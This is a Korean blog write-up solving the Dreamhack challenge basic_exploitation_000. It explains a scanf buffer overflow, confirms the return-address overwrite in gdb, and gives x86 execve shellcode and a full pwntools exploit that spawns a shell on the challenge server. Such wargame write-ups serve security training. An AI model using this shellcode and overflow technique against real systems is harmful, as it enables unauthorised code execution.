728x90
반응형
오늘은 Ret Address Overwrite 취약점을 가진 basic_exploitation_000 문제를 풀어볼것이다.
문제 파일은 basic_exploitation_000, basic_exploitation_000.c가 있다.
basic_exploitation_000.c를 한번 살펴보자.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
printf("buf = (%p)\n", buf);
scanf("%141s", buf);
return 0;
}
위 코드의 scanf에서 buf는 128(0x80)byte인데 141만큼 받아서 BOF가 발생한다.
stack 예상해보면 아래와 같다.
buf(128)
sfp(4)
ret(4)
실행을 해보면 buf가 들어가는 주소가 나온다.
이제 한번 gdb로 살펴보자.
일단 ret에 브레이크를 걸고 실행해보자.
A 를 132번 넣고 B를 4번 넣어보자.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
위처럼 넣고 ret에서 브레이크가 걸리면 esp를 확인해보자
예상대로라면 esp가 0x424242일것이다.
예상대로 return address가 잘 덮혔다.
그러면 이제 exploit code를 짜보자.
shellcode는 scanf를 우회할수 있는 아래의 shellcode를 사용한다.(26byte)
\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80
그리고 buf의 주소부터 값이 들어가니 payload를 짤때 buf주소를 출력하는 부분을 먼저 가져와야한다.
그리고 그 buf주소 return해야한다.
nop을 132 - 26 만큼 넣고, 대략 나눠서 중간에 쉘코드를 삽입해야한다.
그리고 실행 했을때 나오는 주소를 넣으면 payload가 완성된다.
exploit code
from pwn import *
#context.log_level = "debug"
#p = process("./basic_exploitation_000")
p = remote("host1.dreamhack.games",10918)
buf = int(p.recv()[7:17],16)
print("buf address : "+hex(buf))
payload = b"\x90"*6
payload += b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
payload += b"\x90"*100
payload += p32(buf)
p.sendline(payload)
p.interactive()
이제 코드를 실행해보자.
위처럼 쉘 획득에 성공한걸 확인할 수 있다.
728x90
반응형
'워게임' 카테고리의 다른 글
HackCTF - x64 Buffer Overflow(writeup) (0) | 2021.07.26 |
---|---|
HackCTF - 내 버퍼가 흘러넘친다!!!!(writeup) (0) | 2021.07.26 |
Dreamhack - basic_rop_x86 (Write up) (0) | 2021.07.25 |
Webhacking.kr - 26번 문제 (0) | 2021.02.06 |
Webhacking.kr - 17번 문제 (0) | 2021.01.30 |